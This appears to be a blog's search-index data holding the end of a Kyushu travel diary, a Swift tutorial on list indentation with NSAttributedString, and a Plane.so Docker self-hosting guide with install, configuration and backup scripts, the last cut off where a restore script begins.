returning.The mascot of Fukuoka SoftBank Hawks is named Harry, had to come and support the team at the game.Last time I sat in the more expensive infield area, this time I wanted to experience the atmosphere by sitting in the cheapest seats. I thought there were general admission seats, but it turned out to be all reserved seats, so I chose a seat on the last row on the outfield side near the edge for easy access (the chairs on this side of the outfield don’t have backs, the advantage is it’s easier to move in and out).I can’t help but admire the sports culture in Japan. On weekdays and evenings at 18:00, the stadium has about 40,000 seats, almost full, and when selecting seats, there were no entire rows empty or seats in the corners.The view and distance were much different compared to last time.This time, the team was significantly behind, ending with a 9-3 defeat, no fireworks to watch, but I also witnessed the cheering activities of both teams (Fukuoka SoftBank Hawks’ balloon cheering and Tokyo Yakult Swallows’ umbrella dance cheering).Around the 7th inning with the score already 9-1, people started leaving one after another, and I didn’t see the end either.The bus stop was crowded as well, and just like last time, I walked back to the subway station with the crowd (about 15 minutes).Before resting at the hotel, I deliberately took a last look at the night view of Nakasu Yatai in the alley.Late-night snack, Nissin Donbei tofu noodles (first time trying it after so many days), fruit wine from Oita, and convenience store fried chicken (Juicy and delicious).Day 11 Lalaport, Hakata Shopping, Tenjin Shopping, Return JourneyUnknowingly, it has been 11 days abroad, and I have started to miss Taiwanese cuisine. There is still plenty of time to wander around before the 21:00 flight.The main souvenirs have been bought and packed, so today is just about wandering around to find the gachapon machines at the train stations (ultimately didn’t find any, referring to the list of stores provided by the manufacturer, the ones in the city were all sold out).LalaportEarly in the morning, I went to Lalaport for a stroll. (Opens at 10 am)On the first floor, there was a cool drink cabinet converted from a Seibu bus.The main purpose was to visit the Gachagacha Forest on the third floor and Pon! under the escalator on the first floor to see if they had the capsule toys I was looking for. (They didn’t)Approaching 11 am and feeling hungry as I hadn’t had breakfast, I had seafood tempura rice bowl at the food street on the third floor to satisfy my hunger (found it too salty).Then, I went back to the first floor to buy a strawberry daifuku from Rokkasen to refresh myself.Unable to find the capsule toys I was looking for, I left Lalaport and returned to Hakata Station. Inside 1010 as well, there was no Pon! to be found.I also couldn’t find the capsule toys area at Hakata Yodobashi.After the unsuccessful search in Hakata, I went to the Tenjin area to look for capsule toy shops, but still no luck.Finally giving up, I went to explore Animate and Kiddy Land upstairs (with a wide variety of character goods).Around 4:00 pm, nearing the end of this trip, I sat at Cafe de Miki to have dessert and coffee for a break.Around 5:00 pm, I returned to the hotel to pick up my luggage and slowly made my way to Fukuoka Airport. I thought there would be a lot of people on the subway around 5 pm, but it was not crowded at all.It’s quite a distance from Tenjin Minami to Tenjin, and it takes about 15 minutes to walk with luggage.Taking the airport line to Fukuoka Airport Station (domestic terminal), I then had to transfer to the airport shuttle bus (free) to the international terminal.The airport shuttle buses run frequently, about every 5-10 minutes, with a journey of about 10 minutes. After getting off, there is still a walk to the 3F departure hall. If you include the time to get out of the subway station, it will take an additional +30 minutes to reach the international terminal.Fukuoka Airport is currently under renovation, so it’s a bit chaotic.I arrived at the airport too early, and the counters were not open yet. The ground staff directed us to do self-check-in at counter 1 and then self-check baggage at counter 2, where they would assist us. We quickly completed the baggage check-in (this time only 17 kg).Around 6:30 pm, I started waiting for boarding.The departure lounge at Fukuoka Airport is long and narrow, with a lot of people, very chaotic and crowded. (Not sure if it’s due to ongoing renovations and many flights waiting to take off).The duty-free shops for premium and cosmetics are quite comprehensive, and the staff can speak Chinese; there are also souvenir shops (here you can find Fukusaya Nagasaki cakes); the tobacco and alcohol duty-free shop has only one store where you have to queue, and as for food, it’s even more crowded than convenience stores, so be prepared to wait in line. A special announcement for the previous flight CI129 at 19:10: Please comply with China Airlines’ rule of carrying only one piece of carry-on luggage; if you exceed this, you will need to purchase an additional one (this flight seems fully booked).⚠️Feeling that the area behind is too noisy and chaotic, I walked towards the north of 501-504, where there are fewer people; there is also a cafe and a fast-food restaurant where you can grab something to eat.I bought a simple pork cutlet sandwich, a few cans of cola, and peach water to bring back to Taiwan.Boarding started around 20:30, and there was no specific rule for checking only one piece of carry-on luggage (but I had already packed everything into one bag… ); we were ready to take off at 21:00, actually took off at 21:09, and the aircraft was an A330-300, which is relatively old.Goodbye Kyushu, goodbye Japan. The airplane meal was ginger-flavored pork fried noodles, not very impressive, but they served cantaloupe!Encountering turbulence throughout the flight, we landed smoothly in Taiwan after a bumpy ride, with a delay of nearly 30 minutes, arriving close to 23:00 (scheduled for 22:25).Worried about missing public transportation, I ran all the way, missed the Airport MRT but luckily caught the shuttle bus in the end; otherwise, I would have had to take an unsafe unlicensed taxi back to Taipei.Route 1819 , my goodness, the journey to Taipei Main Station takes about 55 minutes. As shown in the image above, if you need to get off at a stop along the way, please inform the driver in advance when loading your luggage; otherwise, all passengers getting off at Taipei Main Station will have their luggage placed together. If you need to get off midway, you won’t be able to access your luggage.⚠️Around midnight on 6/14, I returned to my cozy home, concluding this 11-day journey.I averaged around 20,000 steps per day, with the highest reaching 27,000 steps.LootI missed capturing the box on the right, which contained shrimp crackers that I found delicious at a department store food street in Hakata Station.Souvenirs from Various Places in JapanThis time, I added four of the Seven Lucky Gods, a mini beer, and a Kachikohsu (dog) Inu Year amulet.The background newspaper was a gift from Le Labo.Finally, thank you for reading my travel diary; also, thanks to my travel companion James this time.Inspiration for the Next Trip Southeast Asia Landing in southern Kyushu Kagoshima -> Oita -> Sunflower Cruise -> Kobe -> Himeji Castle -> Amanohashidate -> Return from Nagoya Airport Northeast region, SendaiKKday Promotion [Japan JR PASS Kyushu Railway Pass North Kyushu & South Kyushu & All Kyushu E-Ticket](https://www.kkday.com/zh-tw/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} Nagasaki, Japan | Kyushu Huis Ten Bosch Castle Ticket Fukuoka, Japan | Hakata Port - Busan Port・Passenger and Cargo Ship “New Camellia” Camellia Line One-stop shopping for attractions, tickets, and experiences in the Kyushu region: “One-day Kumamoto, one-day Takachiho, one-day Aso/Kusasenri, one-day Miyazaki itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu boat ticket, Taipei-Fukuoka flight, flight + hotel” One-stop shopping for attractions, tickets, and experiences in Busan, South Korea: “Visit Busan Pass, Haeundae Blue Line Park Coast Train・Sky Capsule Train Ticket, Jeju Air Flight, Busan Sauna, Busan Tower, Songdo Marine Cable Car, Day Tour, Charter”More Travel Journals [Travel Journal] 2023 Kyushu 10-Day Solo Trip ⭐️ (Kyushu Part 1) [Travel Journal] 2023 Hiroshima Okayama 6-Day Trip [Travel Journal] 9/11 One-Day Flash Visit to Nagoya [Travel Journal] 2023 Tokyo 5-Day Trip [Travel Journal] 2023 Kansai Region 8-Day TripFeel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedString in iOS", "url": "/posts/2981dc0fcd58/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, nsattributedstring, swift, layout, uikit", "date": "2024-06-01 22:43:49 +0800", "snippet": "[iOS] Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedStringImplementing list indentation similar to HTML List OL/UL/LI using NSTextList or NSTextTab with NSAttri...", "content": "[iOS] Exploring the Use of NSTextList or NSTextTab for List Indentation with NSAttributedStringImplementing list indentation similar to HTML List OL/UL/LI using NSTextList or NSTextTab with NSAttributedString in iOS SwiftTechnical BackgroundPreviously, while developing my open-source project “ZMarkupParser,” a library for converting HTML strings into NSAttributedString objects, I needed to research and implement the use of NSAttributedString to handle various HTML components. During this process, I came across the .paragraphStyle: NSParagraphStyle attribute of NSAttributedString Attributes, specifically the textLists: [NSTextList] and tabStops: [NSTextTab] properties. These are two very obscure attributes with limited online resources.When initially implementing HTML list indentation conversion, I found examples showing that these two attributes could be used to achieve this. Let’s first take a look at the nested tag structure of HTML list indentation:<ul> <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li> <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li> <li> ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags. <ol> <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li> <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li> <li>ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.</li> </ol> </li></ul>Display effect in the browser:As shown in the above image, the list supports multiple layers of nested structures and needs to be indented according to the level.At that time, there were many other HTML tag conversion tasks that needed to be implemented, which was a lot of work. I quickly attempted to use NSTextList or NSTextTab to create the list indentation without delving deep into understanding. However, the results were not as expected - the spacing was too large, there was no alignment, multiple lines were misaligned, the nested structure was not clear, and spacing could not be controlled. After playing around with it for a while without finding a solution, I abandoned it and temporarily used a makeshift layout:The above image effect is very poor because it was actually manually formatted using spaces and the symbol -, without any indentation effect. The only advantage is that the spacing is composed of blank symbols, and the size can be controlled manually.This matter was left unresolved, and I didn’t particularly work on it even after being open-sourced for over a year. It wasn’t until recently that I started receiving Issues requesting improvements to list conversion, and a developer provided a solution PR. By referencing the usage of NSParagraphStyle in that PR, I was inspired once again. Researching NSTextList or NSTextTab could potentially allow for the perfect implementation of indented list functionality!Final ResultAs usual, let’s start with the final result image. Now, in ZMarkupParser ~> v1.9.4 and above versions, HTML List Items can be perfectly converted into NSAttributedString objects. Supports maintaining indentation when line breaks occur. Supports customizing the size of indentation spacing. Supports nested structure indentation. Supports different List Item Styles, such as Bullet, Disc, Decimal… and even custom symbols. The main text begins below.Exploring Methods of Achieving List Indentation with NSTextList or NSTextTabIt’s “or” not “and” in the relationship between NSTextList and NSTextTab, meaning that these two attributes are not used together. Each of them can achieve list indentation independently.Method (1) Exploring List Indentation Using NSTextListlet listLevel1ParagraphStyle = NSMutableParagraphStyle()listLevel1ParagraphStyle.textLists = [textListLevel1] let listLevel2ParagraphStyle = NSMutableParagraphStyle()listLevel2ParagraphStyle.textLists = [textListLevel1, textListLevel2] let attributedString = NSMutableAttributedString()attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 1))\\tList Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 2))\\tList Level 1 - 2\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 3))\\tList Level 1 - 3\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel2.marker(forItemNumber: 1))\\tList Level 2 - 1\\n\", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel2.marker(forItemNumber: 2))\\tList Level 2 - 2 StringStringStringStringStringStringStringStringStringStringStringString\\n\", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 4))\\tList Level 1 - 4\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle])) textView.attributedText = attributedStringDisplay Effect:The Public API provided by NSTextList is very limited, and the parameters that can be controlled are as follows:// Item display stylevar markerFormat: NSTextList.MarkerFormat { get }// Starting number for ordered itemsvar startingItemNumber: Int// Whether it is an ordered numeric item (available in iOS >= 16, surprisingly this API has been updated)@available(iOS 16.0, *)open var isOrdered: Bool { get }// Returns the item symbol string, with itemNumber as the item number. It can be omitted if it is a non-ordered numeric itemopen func marker(forItemNumber itemNumber: Int) -> StringNSTextList.MarkerFormat Styles: To increase visibility, displayed at position 8 of the item list.Usage:// Define a NSMutableParagraphStylelet listLevel1ParagraphStyle = NSMutableParagraphStyle()// Define List Item style, starting position of itemslet textListLevel1 = NSTextList(markerFormat: .decimal, startingItemNumber: 1)// Assign NSTextList to the textLists arraylistLevel1ParagraphStyle.textLists = [textListLevel1]//NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 1))\\Item One\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle])// Adding nested sub-items:// Define sub-item List Item style, starting position of itemslet textListLevel2 = NSTextList(markerFormat: .circle, startingItemNumber: 1)// Define sub-item NSMutableParagraphStylelet listLevel2ParagraphStyle = NSMutableParagraphStyle()// Assign parent and child NSTextList to the textLists arraylistLevel1ParagraphStyle.textLists = [textListLevel1, textListLevel2]NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 1))\\Item 1.1\\n\", attributes: [.paragraphStyle: listLevel2ParagraphStyle])// Sub-items of nested sub-items...Continue appending NSTextList to the textLists array as needed Use \\n to differentiate each list item. Use \\tItem symbol\\t to allow access to the list result when accessing the attributedString.string as plain text. \\tItem symbol\\t will not be displayed, so any processing done after the item symbol will not be visible (e.g., adding . after the item number will not affect the display).Issues with usage: Unable to control the left and right margins of the item symbol. Unable to customize the item symbol, and inability to add . to numeric items -> 1.. Found that if the parent item list is non-ordered (e.g., .circle), and the child items are ordered numeric items (e.g., .decimal), the startingItemNumber setting for child items will be ignored.What NSTextList can do and what it can be used for is as described above. However, it is not very user-friendly in practical product development applications; the spacing is too wide, numeric items lack ., greatly reducing usability. Online, I only found a way to change the spacing through TextKit NSTextStorage, which I think is too hard-coding, so I abandoned it. The only benefit is that it allows for simple nesting of indented sub-item lists by appending textLists arrays, without the need for complex layout calculations.Method (2) Exploring List Indentation Using NSTextTabNSTextTab allows us to set the position of the \\t tab placeholder, with a default interval of 28.We achieve a list-like effect by setting tabStops + headIndent + defaultTabInterval in NSMutableParagraphStyle.let textListLevel1 = NSTextList(markerFormat: .decimal, startingItemNumber: 1)let textListLevel2 = NSTextList(markerFormat: .circle, startingItemNumber: 1) let listLevel1ParagraphStyle = NSMutableParagraphStyle()listLevel1ParagraphStyle.defaultTabInterval = 28listLevel1ParagraphStyle.headIndent = 29listLevel1ParagraphStyle.tabStops = [ NSTextTab(textAlignment: .left, location: 8), // Corresponding settings as shown in figure (1) Location NSTextTab(textAlignment: .left, location: 29), // Corresponding settings as shown in figure (2) Location] let listLevel2ParagraphStyle = NSMutableParagraphStyle()listLevel2ParagraphStyle.defaultTabInterval = 28listLevel2ParagraphStyle.headIndent = 44listLevel2ParagraphStyle.tabStops = [ NSTextTab(textAlignment: .left, location: 29), // Corresponding settings as shown in figure (3) Location NSTextTab(textAlignment: .left, location: 44), // Corresponding settings as shown in figure (4) Location] let attributedString = NSMutableAttributedString()attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 1)).\\tList Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 2)).\\tList Level 1 - 2\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 3)).\\tList Level 1 - 3\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel2.marker(forItemNumber: 1))\\tList Level 2 - 1\\n\", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel2.marker(forItemNumber: 2))\\tList Level 2 - 2 StringStringStringStringStringStringStringStringStringStringStringString\\n\", attributes: [.paragraphStyle: listLevel2ParagraphStyle]))attributedString.append(NSAttributedString(string: \"\\t\\(textListLevel1.marker(forItemNumber: 4)).\\tList Level 1 - 4\\n\", attributes: [.paragraphStyle: listLevel1ParagraphStyle]))textView.attributedText = attributedString The tabStops array corresponds to each \\t symbol in the text. NSTextTab can be set with Alignment direction and Location position (please note that it is not setting the width, but the position in the text!). headIndent sets the position from the starting point for the second line, usually set to the Location of the second \\t, so that line breaks align with the item symbol. defaultTabInterval sets the default interval spacing for \\t. If there are other \\t in the text, they will be spaced according to this setting. location: Because NSTextTab specifies direction and position, you need to calculate the position yourself. You need to calculate the width of the item symbol (the number of digits also affects) + spacing + indentation distance within the parent item to achieve the effect shown in the figure above. Item symbols can be fully customized. If the location is incorrect or cannot be met, there will be direct line breaks.The example above is simplified to help you understand the layout of NSTextTab. The calculation and summarization process is simplified, and the answer is written directly. If you want to use it in a real scenario, you can refer to the following complete code:let attributedStringFont = UIFont.systemFont(ofSize: UIFont.systemFontSize)let iterator = ListItemIterator(font: attributedStringFont) //let listItem = ListItem(type: .decimal, text: \"\", subItems: [ ListItem(type: .circle, text: \"List Level 1 - 1 StringStringStringStringStringStringStringStringStringStringStringString\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 2\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 3\", subItems: [ ListItem(type: .circle, text: \"List Level 2 - 1\", subItems: []), ListItem(type: .circle, text: \"List Level 2 - 2 fafasffsafasfsafasas\\tfasfasfasfasfasfasfasfsafsaf\", subItems: []) ]), ListItem(type: .circle, text: \"List Level 1 - 4\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 5\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 6\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 7\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 8\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 9\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 10\", subItems: []), ListItem(type: .circle, text: \"List Level 1 - 11\", subItems: [])])let listItemIndent = ListItemIterator.ListItemIndent(preIndent: 8, sufIndent: 8)textView.attributedText = iterator.start(item: listItem, type: .decimal, indent: listItemIndent)//private extension UIFont { func widthOf(string: String) -> CGFloat { return (string as NSString).size(withAttributes: [.font: self]).width }}private struct ListItemIterator { let font: UIFont struct ListItemIndent { let preIndent: CGFloat let sufIndent: CGFloat } func start(item: ListItem, type: NSTextList.MarkerFormat, indent: ListItemIndent) -> NSAttributedString { let textList = NSTextList(markerFormat: type, startingItemNumber: 1) return item.subItems.enumerated().reduce(NSMutableAttributedString()) { partialResult, listItem in partialResult.append(self.iterator(parentTextList: textList, parentIndent: indent.preIndent, sufIndent: indent.sufIndent, item: listItem.element, itemNumber: listItem.offset + 1)) return partialResult } } private func iterator(parentTextList: NSTextList, parentIndent: CGFloat, sufIndent: CGFloat, item: ListItem, itemNumber:Int) -> NSAttributedString { let paragraphStyle = NSMutableParagraphStyle() // e.g. 1. var itemSymbol = parentTextList.marker(forItemNumber: itemNumber) switch parentTextList.markerFormat { case .decimal, .uppercaseAlpha, .uppercaseLatin, .uppercaseRoman, .uppercaseHexadecimal, .lowercaseAlpha, .lowercaseLatin, .lowercaseRoman, .lowercaseHexadecimal: itemSymbol += \".\" default: break } // width of \"1.\" let itemSymbolIndent: CGFloat = ceil(font.widthOf(string: itemSymbol)) let tabStops: [NSTextTab] = [ .init(textAlignment: .left, location: parentIndent), .init(textAlignment: .left, location: parentIndent + itemSymbolIndent + sufIndent) ] let thisIndent = parentIndent + itemSymbolIndent + sufIndent paragraphStyle.headIndent = thisIndent paragraphStyle.tabStops = tabStops paragraphStyle.defaultTabInterval = 28 let thisTextList = NSTextList(markerFormat: item.type, startingItemNumber: 1) // return item.subItems.enumerated().reduce(NSMutableAttributedString(string: \"\\t\\(itemSymbol)\\t\\(item.text)\\n\", attributes: [.paragraphStyle: paragraphStyle, .font: font])) { partialResult, listItem in partialResult.append(self.iterator(parentTextList: thisTextList, parentIndent: thisIndent, sufIndent: sufIndent, item: listItem.element, itemNumber: listItem.offset + 1)) return partialResult } }}private struct ListItem { var type: NSTextList.MarkerFormat var text: String var subItems: [ListItem]} We declare a simple ListItem object to encapsulate sub-list items, combining them recursively and calculating the spacing and content of the item list. NSTextList only uses the marker method to generate list symbols, but it can also be implemented independently without using it. To widen the space before and after the item symbol, you can directly set preIndent and sufIndent. Since position calculation requires the use of Font to calculate width, make sure to set .font for the text to ensure accurate calculation.ConclusionInitially, we hoped that we could achieve the desired effect directly using NSTextList, but the result and customization level were both poor. In the end, we had to rely on a makeshift solution with NSTextTab, controlling the position of \\t to manually combine item symbols. It’s a bit cumbersome, but the effect perfectly meets the requirements! The goal has been achieved, but I still haven’t fully mastered the knowledge of NSTextTab (for example, different directions? Relative positions of Location?). The official documentation and online resources are too scarce. I’ll study it further if I have the chance.Download Full Example of This DocumentCommerceA tool to help you convert HTML strings to NSAttributedStrings, with support for custom style assignment and custom tag functionality.Reference Material ObjC String RenderingThis article contains a complete example of NSAttributedString application, including an introduction to the implementation of lists and tables functionality.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Plane.so Docker Self-Hosted Setup Record", "url": "/posts/9903c9783a97/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, docker, nginx, project-management, self-hosted", "date": "2024-05-25 21:12:58 +0800", "snippet": "Plane.so Docker Self-Hosted Setup RecordPlane Self-Hosted Docker setup, backup, restore, Nginx Domain reverse proxy configuration tutorialIntroductionPlane.so is a free open-source project manageme...", "content": "Plane.so Docker Self-Hosted Setup RecordPlane Self-Hosted Docker setup, backup, restore, Nginx Domain reverse proxy configuration tutorialIntroductionPlane.so is a free open-source project management tool similar to Asana, Jira, Clickup that supports Self-Hosted setup. It was established in 2022, with the first version released in 2023, and is still under development.For detailed usage and development process integration, please refer to the previous article “Plane.so Free Open-Source Project Management Tool Similar to Asana/Jira that Supports Self-Hosted”. This article only records the process of setting up Plane.so using Docker.Self-Hosted PlaneDocker Compose - Plane In this guide, we will walk you through the process of setting up a self-hosted environment. Self-hosting allows you to… docs.plane.so Supports Docker, K8s / Cloud, Private On-Premise installation Self-Hosted is the Community Edition (officially abbreviated as CE) Self-Hosted may not include all Cloud version features The default features of the Self-Hosted version are compared to the Cloud free version, if you want to use other features, you still need to upgrade to the paid version. This article takes Docker + Private On-Premise installation as an example Currently, the official does not provide export from Cloud to import into the Self-Hosted version, you can only achieve this through API integration Official tip: Machines need to be upgraded for more than 50 usersWe have seen performance degradation beyond 50 users on our recommended 4 GB, 2vCPU infra. Increased infra will help with more users. Uses AGPL-3.0 license open-source, the first version was launched in 2023/01, and it is still under development, no official Release version is provided yet. Please note that open-source and supporting Self-Hosted does not mean free. A complete configuration example Repo is attached at the end of the article.Docker InstallationThis article does not provide an introduction, please refer to the official Docker installation method to complete the local Docker environment installation and configuration. The following takes macOS Docker as an example.Plane @ Docker InstallationRefer to the official manual. Create a directory & download the installation scriptmkdir plane-selfhostcd plane-selfhostcurl -fsSL -o setup.sh https://raw.githubusercontent.com/makeplane/plane/master/deploy/selfhost/install.shchmod +x setup.sh Ensure Docker is installed and running, then execute the script ./setup.sh Enter 1 to install (download images) Wait for the images used by Plane to be pulled After the images are pulled, go to the ./plane-app folder and open the .env configuration fileAPP_RELEASE=stableWEB_REPLICAS=1SPACE_REPLICAS=1ADMIN_REPLICAS=1API_REPLICAS=1NGINX_PORT=80WEB_URL=http://localhostDEBUG=0SENTRY_DSN=SENTRY_ENVIRONMENT=productionCORS_ALLOWED_ORIGINS=http://localhost#DB SETTINGSPGHOST=plane-dbPGDATABASE=planePOSTGRES_USER=planePOSTGRES_PASSWORD=planePOSTGRES_DB=planePOSTGRES_PORT=5432PGDATA=/var/lib/postgresql/dataDATABASE_URL=# REDIS SETTINGSREDIS_HOST=plane-redisREDIS_PORT=6379REDIS_URL=# Secret KeySECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5# DATA STORE SETTINGSUSE_MINIO=1AWS_REGION=AWS_ACCESS_KEY_ID=access-keyAWS_SECRET_ACCESS_KEY=secret-keyAWS_S3_ENDPOINT_URL=http://plane-minio:9000AWS_S3_BUCKET_NAME=uploadsMINIO_ROOT_USER=access-keyMINIO_ROOT_PASSWORD=secret-keyBUCKET_NAME=uploadsFILE_SIZE_LIMIT=5242880# Gunicorn WorkersGUNICORN_WORKERS=1# UNCOMMENT `DOCKER_PLATFORM` IF YOU ARE ON `ARM64` AND DOCKER IMAGE IS NOT AVAILABLE FOR RESPECTIVE `APP_RELEASE`# DOCKER_PLATFORM=linux/amd64 By default, Plane service starts on port :80. If there is a conflict, you can change the port. Complete the setup adjustments (it is not recommended to directly change docker-compose.yml as it will be overwritten during future Plane updates)Plane @ Docker Startup Run ./setup.sh again Enter 2 to start Plane: After confirming successful startup, open the URL / god-mode/ for initial setup: The account and password set here have the highest administrative privileges (God/Admin Mode) For security reasons, the password must include special characters, be longer than 8 characters, and include numbers, uppercase and lowercase letters, otherwise it cannot be submitted If this step is not completed, logging into the homepage will display Instance not configured. Please contact your administrator.```Plane God/Admin ModeYou can access the Plane admin interface at the URL /god-mode/. Here you can configure the entire Plane service environment.General Settings:General settings.Email: Email notification SMTP settingsIf you don’t want to set up your own SMTP Server, you can use GMAIL SMTP directly to send emails: Host: smtp.gmail.com Port: 465 Sender email address: Display email address e.g. noreply@zhgchg.li Username: Your Gmail account Password: Your Gmail password, use an app password if you have two-step verification. If there is no response after setting, please check the Port and Email Security settings (TLS/STARTTLS: use port 587, SSL: use port 465) Additionally, since Plane does not currently support Slack notifications, you could set up an SMTP Server shell to convert email notifications to Slack notifications using a Python script.AuthenticationPlane service login authentication method. If you want to bind it to only allow email accounts within a Google organization, you can disable “Password based login” and enable only “Google” login. Then generate a login app that is restricted to organizational accounts from the Google login settings.Artificial IntelligenceAI-related settings. Currently, its functionality is limited. If you have a key, you can use AI to help write Issue Descriptions on Issues.Image in PlaneSimilarly, its functionality is currently limited. If you have an Unsplash Key, you can fetch and apply images through the Unsplash API when selecting project cover images. ⚠️⚠️Disclaimer⚠️⚠️ The above is an introduction to the 2024-05-25 v0.20-Dev version. The official team is actively developing new features and optimizing user experience. Please refer to the latest version settings. Once the God/Admin Mode settings are configured, you can use it similarly to the Cloud version. For detailed usage operations and integration with the development process, please refer to the previous article “ Plane.so Free and Open Source Self-Hosted Asana/Jira-like Project Management Tool “Plane @ Docker UpgradeAs mentioned earlier, Plane is still in the development stage, with new versions released approximately every two to three weeks. The changes can be quite significant; it is recommended to read the Release Note carefully for changes and necessary adjustments before upgrading. ⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. ⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. ⚠️Be sure to back up before upgrading!⚠️ After upgrading, be sure to check if the scheduled backup script is still functioning properly. Because Plane is in the development stage and unstable, we cannot guarantee that upgrades will not cause data loss. Therefore, it is recommended to back up before operating. The backup method will be explained below.Upgrade Method: Re-enter ./setup.sh Enter 5 to upgrade Plane (this essentially just pulls new images and restarts) After the images are pulled, you can restart the service The .env file may change after the upgrade, please refer to the Release Note for adjustmentsPlane @ Docker BackupStarting from 0.20-dev, ./setup.sh adds a Backup Data command, but reading the official manual only mentions how to restore Backup Data to their One paid service. Therefore, I still use my own method to back up uploaded files, Redis, and backup the Postgresql Docker Container.Backup Script./plane-backup.sh:#!/bin/bash# Backup Plane data# Author: zhgchgli (https://zhgchg.li)##### Execution Method# ./plane-backup.sh [backup target directory path] [Plane's Docker project name] [maximum number of Plane backup files to keep, delete the oldest if exceeded]# e.g. ./plane-backup.sh /backup/plane plane-app 14###### Settings# Backup target directorybackup_dir=${1:-.}# Plane's Docker project namedocker_project_name=${2:-\"plane-app\"}# Maximum number of Plane backup files to keep, delete the oldest if exceededkeep_count=${3:-7}####### Check if the directory existsif [ ! -d \"$backup_dir\" ]; then echo \"Backup failed, directory does not exist: $backup_dir\" exit;fi# Remove oldestcount=$(find \"$backup_dir\" -mindepth 1 -type d | wc -l)while [ \"$count\" -ge $keep_count ]; do oldest_dir=$(find \"$backup_dir\" -mindepth 1 -maxdepth 1 -type d | while read dir; do # Use stat command to get modification time if [[ \"$OSTYPE\" == \"darwin\"* ]]; then # macOS system echo \"$(stat -f %m \"$dir\") $dir\" else # Linux system echo \"$(stat -c %Y \"$dir\") $dir\" fi done | sort -n | head -n 1 | cut -d ' ' -f 2-) echo \"Remove oldest backup: $oldest_dir\" rm -rf \"$oldest_dir\" count=$(find \"$backup_dir\" -mindepth 1 -type d | wc -l)done## Backup newdate_dir=$(date \"+%Y_%m_%d_%H_%M_%S\")target_dir=\"$backup_dir/$date_dir\"mkdir -p \"$target_dir\"echo \"Backing up to: $target_dir\"# Plane's Postgresql .SQL dumpdocker exec -i $docker_project_name-plane-db-1 pg_dump --dbname=postgresql://plane:plane@plane-db/plane -c > $target_dir/dump.sql# Plane's redisdocker run --rm -v $docker_project_name-redis-1:/volume -v $target_dir:/backup ubuntu tar cvf /backup/plane-app_redis.tar /volume > /dev/null 2>&1# Plane's uploaded filesdocker run --rm -v ${docker_project_name}_uploads:/volume -v $target_dir:/backup ubuntu tar cvf /backup/plane-app_uploads.tar /volume > /dev/null 2>&1echo \"Backup Success!\"First time creating a Script file, remember to: chmod +x ./plane-backup.shExecution method:./plane-backup.sh [Backup target folder path] [Plane Docker project name] [Maximum number of Plane backup files to retain, delete the oldest backup if exceeded] Backup target folder path: e.g. /backup/plane/ or ./ Plane Docker project name: Plane Docker Compose Project name Maximum number of Plane backup files to retain, delete the oldest backup if exceeded: Default is 7Execution example:./plane-backup.sh /backup/plane plane-app 14 Ensure that Plane is running when executing.Simply add the above command to Crontab to automatically backup Plane at regular intervals. If you encounter execution errors and cannot find the Container, please check the Plane Docker Compose Project name or verify the script and Docker container names (the official names might have changed).Restore Script./plane-restore.sh :#!/bin/bash# Restore Plane backup data# Author: zhgchgli (https://zhgchg.li)##### Execution method# ./plane-restore.sh# inputBackupDir() { read -p \"Enter 